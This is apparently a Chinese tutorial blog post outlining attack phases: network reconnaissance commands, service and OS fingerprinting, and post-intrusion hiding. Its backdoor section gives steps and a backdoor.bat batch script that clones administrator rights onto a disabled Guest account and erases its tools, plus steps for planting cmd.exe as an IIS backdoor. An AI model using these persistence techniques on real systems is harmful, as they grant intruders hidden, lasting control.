• 让无数人头疼的网络攻击到底是什么?究竟隐藏了哪些不为人知的秘密?


    1、网络攻击三部曲

    在这里插入图片描述

    1.1、攻击的准备阶段

    1.1.1、确定攻击的目的

    攻击目的是指想要给受侵者造成什么样的后果
    常见的有破坏型入侵型两种

    1.1.2、信息收集

    搜集尽量多的关于攻击目标的信息
    这些信息包括公开的信息主动探测的信息

    • 使用 Tracert 命令探测网络结构

    在这里插入图片描述

    • 使用 whois协议 搜集信息
      在这里插入图片描述

    1.1.3、服务分析

    获取目标主机上提供了哪些服务、相应端口是否开放、各服务所使用的软件版本类型

    • 标准服务与端口的对应关系
      在这里插入图片描述

    1.1.4、目标主机的系统分析

    在知道了目标主机开放的服务之后,可以连接这些服务
    然后根据连接过程中的返回消息,分析目标主机的操作系统

    • Windows家族的TTL一般为128
      在这里插入图片描述
    • Unix系统的TTL为255
      在这里插入图片描述

    1.1.5、漏洞分析

    一般借助软件如Nessus、X-Scan等综合型漏洞检测工具、wVS等专用型漏洞检测工具等自动分析

    • WVS检测报告
      在这里插入图片描述

    1.2、攻击的实施阶段

    • 非法提权
    • 植入后门
    • 建立后门账号
    • 种植木马

    1.3、攻击的善后阶段

    • 删除日志
    • 删除操作记录
    • 文件隐藏

    2、网络信息搜集

    2.1常用的DOS命令

    2.1.1、 ping命令

    ping命令是入侵者经常使用的网络命令,该命令用于测试网络连接性,通过发送特定形式的ICMP包来请求主机的回应,进而获得主机的一些属性

    • ping命令的使用格式:
    ping [-t] [-a][-l][-n count][-i TTL]
    
    • 1

    参数说明

    参数说明
    -t一直ping下去,直到按下Ctrl+C组合键结束
    -aping 的同时把IP地址转换成主机名
    -l指定数据包的大小,默认为32个字节,最大为65527
    -f在数据包中发送“不要分段”标志,数据包不会被路由设备分段
    -n count设定ping的次数
    -i TTL设置ICMP包的生存时间(指ICMP包能够传到临近的第几个节点)
    • 例如使用命令: ping192.168.1.1
    • 如果返回的结果是 “Reply from 192.168.1.1: bytestime<10ms tl=62” 目标主机有响应,说明192.168.1.1这台主机是活动的
    • 如果返回的结果是 "Request timed out.” 则目标主机不是活动的,即目标主机不在线或安装有网络防火墙,这样的主机是不容易入侵的
    • 不同的操作系统对于ping 的TTL返回值是不同的
    操作系统默认TTL返回值
    UNIX类255
    Windows9532
    Windows NT/2000/2003128
    Compap Tru64 5.064
    • 因此,入侵者便可以根据不同的TTI返回值来推测目标究竟属于何种操作系统
    • 对于入侵者的这种信息收集手段,网管可以通过修改注册表来改变默认的TTL返回值

    在一般情况下黑客是如何得到目标IP地址和目标主机的地理位置的呢?

    ① 由域名得到网站IP地址

    • 方法一:ping命令试探

    例如,黑客想知道百度服务器的P地址,可以在MS-DOS中键入
    “ping www.baidu.com' 命令
    在这里插入图片描述
    可以看出,www.baidu.com对应的IP地址为 202.108.22.43

    • 方法二:nslookup 命令

    同样以百度服务器为例,在MS-DOS中键入
    “nslookup www.baidu.com” 命令,回车后等到域名查询结果
    在这里插入图片描述
    Addresses后面列出的就是www.baidu.com所使用的Web服务器群里的IP

    上面介绍的是黑客经常使用的两种最基本方法
    此外,还有一些软件(如Lansee)附带域名转换P的功能,实现起来更简单,功能更强大
    从这两种方法中可以看出:

    • ping命令方便、快捷
    • nslookup命令查询到的结果更为详细

    ② 由IP得到目标主机的地理位置

    • 由于P地址的分配是全球统一管理的
    • 因此黑客可以通过查询有关机构的IP地址数据库来得到该P所对应的地理位置
    • 由于IP管理机构多处于国外,而且分布比较零散

    因此在这里介绍一个能查询到IP数据库的网站

    网站一: http://ip.loveroot.com
    在这里插入图片描述
    例如,要查询202.108.22.5(百度的P)的物理地址,可以在图中的“IP地址”右面的文本框输入“202.108.22.5”,然后单击“查询”按钮,就会得到如图所示的查询结果
    在这里插入图片描述

    2.1.2、 netstat 命令

    netstat命令有助于了解网络的整体使用情况,它可以显示当前正在活动的网络连接的详细信息,如采用的协议类型、当前主机与远端相连主机(一个或多个)的IP地址以及它们之间的连接状态等

    • netstat 命令的使用格式
     netstat [-a][-e][-n][-s][-p proto][-r][interval]
    
    • 1

    参数说明

    参数说明
    -a显示所有主机的端口号
    -e显示以太网统计信息,该参数可以与-s选项结合使用
    -n以数字表格形式显示地址和端口
    -p proto显示特定的协议的具体使用信息
    -r显示本地路由表的内容
    -s显示每个协议的使用状态(包括TCP、UDP、IP)
    interval重新显示所选的状态,每次显示之间的间隔数(单位秒)
    • netstat命令的主要用途是检测本地系统开放的端口
    • 这样做可以了解自己的系统开放了什么服务
    • 还可以初步推断系统是否存在木马
    • 因为常见的网络服务开放的默认端口轻易不会被木马占用

    2.1.3、nbtstat命令

    nbtstat命令用于显示本地计算机和远程计算机的基于TCP/IP (NetBT)的NetBIOS 统计资料、NetBIOS名称表和NetBIOS名称缓存
    nbtstat可以刷新NetBIOS名称缓存和注册的Windows Internet名称服务(WINS)名称。使用不带参数的nbtstat显示帮助

    • nbtstat 命令的使用格式
    nbtstat [-a remotename] [-A IPaddress] [-c][-n][-r][-R][-RR] [-s][-S][Interval]
    
    • 1

    参数说明

    参数说明
    -a remotename-a remotename显示远程计算机的NetBIOS名称表,其中,remotename是远程计算机的NetBIOS计算机名称
    -A IPaddress-A IPaddress显示远程计算机的NetBIOS名称表,其名称由远程计算机的P地址指定(以小数点分隔)
    -c显示NetBIOS名称缓存内容、NetBIOS名称表及其解析的各个地址
    -n显示本地计算机的NetBIOS名称表
    -r显示NetBIOS名称解析统计资料
    -R清除NetBIOS名称缓存的内容,并从Lmhosts文件中重新加载带有#PRE标记的项目
    -RR重新释放并刷新通过WINS注册的本地计算机的NetBIOS名称
    -s显示NetBIOS客户和服务器会话,并试图将目标P地址转化为名称
    -S显示NetBIOS客户和服务器会话,只通过P地址列出远程计算机
    Interval重新显示选择的统计资料,可以中断每个显示之间的Interval 中指定的秒数。如果省略该参数,nbtstat将只显示一次当前的配置信息

    2.2、网站信息收集

    • 一个网站在正式发布之前,需要向有关机构申请域名
    • 域名信息和相关的甲请信息存储在管理机构的数据库中
    • 信息一般是公开的,从中包含了一定的敏感信息:
    • 注册人的姓名
    • 注册人的E-mail,联系电话,传真等
    • 注册机构、通信地址、邮编
    • 注册有效时间、失效时间
    • 通常,查询域名注册信息的方法被称为“WHOIS”
    • Linux系统找自带 WHOIS命令,而Windows系统中并没有

    可以通过以下几个网站来查询域名注册信息

    2.1.1、中国互联网络信息中心(http://www.cnnic.com.cn)

    中国互联网络信息中心是比较权威的机构,记录着所有以cn为结尾的域名注册信息

    在这里插入图片描述

    2.2.2、 中国万网( http://www.net.cn)

    中国万网,号称是中国最大的域名和网站托管服务提供商,不仅提供.cn的域名注册信息,而且还有.com、.net 等
    在这里插入图片描述

    2.2.3、EDGAR数据库

    美国的上市公司要求在美国证券交易委员会(Security and Exchange Commission,SEC)登记,这些信息可以通过EDGAR数据库进行访问,地址 http://www.sec.gov/edgar.shtml

    3、结构探测

    一般来说,网络的基本结构如下:
    在这里插入图片描述
    对于Windows平台,使用相关工具可以大体推断目标网络的基本结构。

    3.1、VisualRoute 探测

    • VisualRoute是图形化的路由跟踪工具
    • 它是为了方便网管分析故障节点而设计的
    • 可以使用专门的VisualRoute 软件
    • 也可以到 http:/www.linkwan.com/vr 使用该网站提供的VisualRoute 功能

    在这里插入图片描述

    3.2、tracert命令

    tracert是路由跟踪命令,通过该命令的返回结果,可以获得本地到达目标主机所经过的网络设备

    • tracert命令的使用格式:
    tracert [-d] [-h maximum hops] [-j host-list][-w timeout]target _name
    
    • 1

    参数说明

    参数说明
    -d不需要把IP地址转换成域名
    -h maximum _hops允许跟踪的最大跳跃数
    -j host-list经过的主机列表
    -w timeout每次回复的最大允许延时

    4、资源搜集

    4.1、共享资源简介

    这里提及的共享资源是指在Windows系统中的“共享磁盘”、“共享文件夹”、“共享文件”、“共享打印机”等。对于一般的共享,下面都会有个“托手”的标志,而对于以“$”结尾的共享却没有“托手”标志,属于隐藏共享

    4.1.1、 建立共享资源的条件

    • 条件一:需要有足够的权限
    • 条件二:已安装“Microsoft 网络文件和打印机共享”组件
    • 条件三:已安装NetBEUI协议。如果没有安装NetBEUI协议,那么只能使用IP地址来互相访问共享资源如果安装了NetBEUI协议,便可以在同一局域网内使用主机名互相访问共享资源

    如果满足上述条件,就可以在计算机上建立“共享资源”了。

    4.2、共享资源搜索

    4.2.1、扫描器简介

    • 扫描器就是能够自动”完成探测任务的一种工具
    • 黑客们用它来代替重复的手工劳动,实现对目标网络信息的自动搜集、整理甚至分析
    • 使用扫描器都能搜集到什么信息呢?可以这样说,需要搜集什么样的信息,黑客们就会有什么样的扫描器

    4.2.2、常用扫描器工具

    • 工具Ipscan

    Ipscan可以判断目标网段内有无活动主机。其中,红色显示的是不在线主机,蓝色显示的是活动主机,最后面显示的是主机名

    • 工具Legion(共享资源扫描器>

    Legion可以实现对共享资源的扫描,然后将共享资源映射到本地

    • 工具Lansee (局域网查看工具)

    Lansee可以对局域网中的主机进行扫描,并获得局域网内的共享资源

    通过前面的介绍可知,如果共享资源设置不当,极有可能导致计算机被入侵者控制

    可以通过以下几条安全解决方案来保证共享资源的安全

    • 尽量不要开放共享资源。
    • 在不得不开放共享资源的条件下,把访问者的权限降至最低
    • 禁用光盘自动运行功能以防止 autorun.inf造成的入侵。
    • 尽量不要使用Window 9x系统运行共享服务,如果使用则需要先给系统打补丁包
    • 切忌共享系统磁盘,特别是系统文件所在的C盘

    5、网络攻击的善后阶段

    5.1、隐藏技术

    5.1.1、文件传输与文件隐藏技术

    • 所谓“隐藏入侵”,是指入侵者利用其他计算机代替自己执行扫描、漏洞溢出、连接建立、远程控制等操作
    • 入侵者们把这种代替他们完成入侵任务的计算机称为“肉鸡”
    • 在隐藏技术中必然涉及到入侵者将文件传输到“肉鸡”中并隐藏的问题
    • 几种常见文件传输方式
    • IPCS文件传输:使用命令行或映射网络驱动器方式
    • FTP传输
    • ·打包传输:将大量的文件进行压缩后再传送
    • 文件隐藏
    • ·简单隐藏:利用attrib命令为文件添加“隐藏”和“系统”属性
    • 利用专用文件夹隐藏:利用隐藏工具 SFind.exe将文件隐藏到系统专用文件夹

    5.1.2、扫描隐藏技术

    • 入侵者通过制作“扫描代理肉鸡”的方法来隐藏自己的扫描行为
    • 手工制作扫描代理是入侵者们制作扫描型“肉鸡”的通用方法
    • 其思路是把扫描器传输到“肉鸡”内部,然后入侵者通过远程控制使该“肉鸡”执行扫描程序
    • 入侵者通过这种方法能够实现“多跳”扫描

    5.1.3、入侵隐藏技术

    • 在入侵中,入侵者一般利用跳板技术实现隐藏
    • 这里指的跳板可称为“入侵代理”或“入侵型肉鸡”,它存在于入侵者与远程主机/服务器之间
    • 用来代替入侵者与远程主机/服务器建立网络连接或者漏洞溢出
    • 这种间接的连接方式可以避免与远程主机/服务器的直接接触,从而实现入侵中的隐藏
      在这里插入图片描述

    如图所示,入侵者通过跳板一、跳板二与远程主机/服务器建立连接,可以看出,在该攻击模型中,与远程主机/服务器直接接触的只有“跳板二”主机,因此,即使入侵行为被远程主机/服务器发觉,也能够直接查出只是“跳板二”主机,入侵者主机没有直接暴露给远程主机/服务器,实现了入侵中的隐身

    5.2、留后门

    从入侵者角度来看,后面分为账号后门、漏洞后门和木马后门

    5.2.1、账号后门

    • 账号永远是系统敞开的大门
    • 入侵者为了能够永久控制远程主机/服务器
    • 他们会在第一次入侵成功后便马上在远程主机/服务器内部建立一个备用的管理员账号,这种账号就是“后门账号”
    • 入侵者常用的留账号后门的方法是克隆账号
    • 克隆帐号是通过修改注册表的SAM来实现的
    • SAM (Security Account Manager)是专门用来管理Windows系统中账号的数据库,里面存放了一个账号所有的属性,包括账号的配置文件路径、账号权限、账号密码等

    要修改SAM,经常需要使用工具PSU.exe

    使用方式是: psu[参数选项]

    • p<要运行的文件名>
    • i<要su到的进程号>默认su到的进程为system

    克隆账号的步骤如下:

    (1) 修改SAM

    • 步骤一
      打开注册表编辑器,可以看到,SAM一般是无法进行修改的。如果想修改,必须提升权限
      在这里插入图片描述

    • 步骤二
      通过进程管理器查看System进程,并记录该进程PID,Windows2000一般为8
      在这里插入图片描述

    • 步骤三
      使用psu.exe提升权限
      在这里插入图片描述

    • 步骤四
      查看SAM中的账号信息,其中 Users\Names下有所有账号列表,在 User键下,以十六进制数字为名的键记录着账号的权限、密码等配置

    • 步骤五
      克隆账号,就是把Guest 账号的权限克隆为管理员权限

    • 步骤六
      禁用Guest账号
      在这里插入图片描述

    • 步骤七
      查看Guest账号
      使用的命令:

    net user guest
    net localgroup administrators
    
    • 1
    • 2
    • 步骤八
      使用Guest账号进行IPC5$连接,测试账号是否可用
      在这里插入图片描述
      虽然在步骤六中禁用了Guest 账号,我们仍然可以使用该账号

    (2) 命令行方式克隆账号

    使用命令行方式克隆账号需要工具

    • reg.exe:命令行下的注册表编辑工具
    • psu.exe:权限提升工具
    • pslist.exe:查看远程主机进程
    • 步骤一
      编写BAT 文件 backdoor.bat
    psu -p "regedit /s delf.reg”-i %1
    psu -p "reg copy hklm\.SAM\SAMIDomains\Account\Users\000001F4\fhklm\SAM\SAM Domains\Account\Users1000001F5\f'-i %1
    net user guest /active:yes
    net user guest 123456789
    net user guest /active:no
    del delf.reg
    del reg.exe
    del psu.exe
    del backdoor.bat
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 步骤二
      使用pslist.exe查看远程主机的System进程PID
      使用命令为“pslist llip -u用户名-p 密码”

    • 步骤三
      上传 backdoor.bat,运行批处理进行账号克隆

    • 步骤四
      建立IPCS连接进行验证,退出

    5.2.2、漏洞后门

    • 通过前面介绍的服务器上IIS的 Unicode、.ida&.idq等漏洞
    • 入侵者能够毫不费力地远程控制服务器的操作系统
    • 实际上入侵者不仅能够通过漏洞实现最初的入侵,还能够通过制造漏洞来留下系统的后门
    • (1)制造 Unicode漏洞
    • 步骤一:找出Web根目录;
    • 步骤二:拷贝cmd.exe到IIS目录中,一般可放在IIS的Scripts 文件夹中
    • 步骤三:使用文件隐藏方法隐藏文件;
    • 步骤四:验证Unicode后门
    • (2)制造.idq漏洞
    • 步骤一:把 idq.dll 传入远程服务器的Scripts目录中
    • 步骤二:隐藏后门文件;
    • 步骤三:利用idq或ida漏洞进行入侵

    5.2.3、木马后门

    • 木马具有体积小、功能强的的特点
    • 有一些木马相当于一个嵌入在Windows系统内部的微型系统
    • 通过与木马的连接,入侵者可以不经过任何认证而直接控制Windows系统,从而实现远程控制
    • 实际上,入侵者除了使用木马进行入侵外,还经常使用木马制作系统后门
    • 常见的木马后门程序有Wollf、Winshell、WinEggDrop、SQL后门
  • 相关阅读:
    Ubuntu20.04环境下编译MNN
    Paper reading: ISDNet: Integrating Shallow and Deep Networks CVPR2022
    java之《图书管理系统》庖丁解牛
    Bayes决策:身高与体重特征进行性别分类
    html支持网络串流flv视频播放
    Open3D(C++) Umeyama算法求两个点云的变换矩阵
    贪心算法(一) | leecode刷题笔记
    SpringBoot Security 单点登出清除所有业务系统的 token
    Open3D C++文章目录汇总
    nginx加权轮询,upstream,Keepalive,负载均衡实现案例
  • 原文地址:https://blog.csdn.net/weixin_45139342/article/details/127423309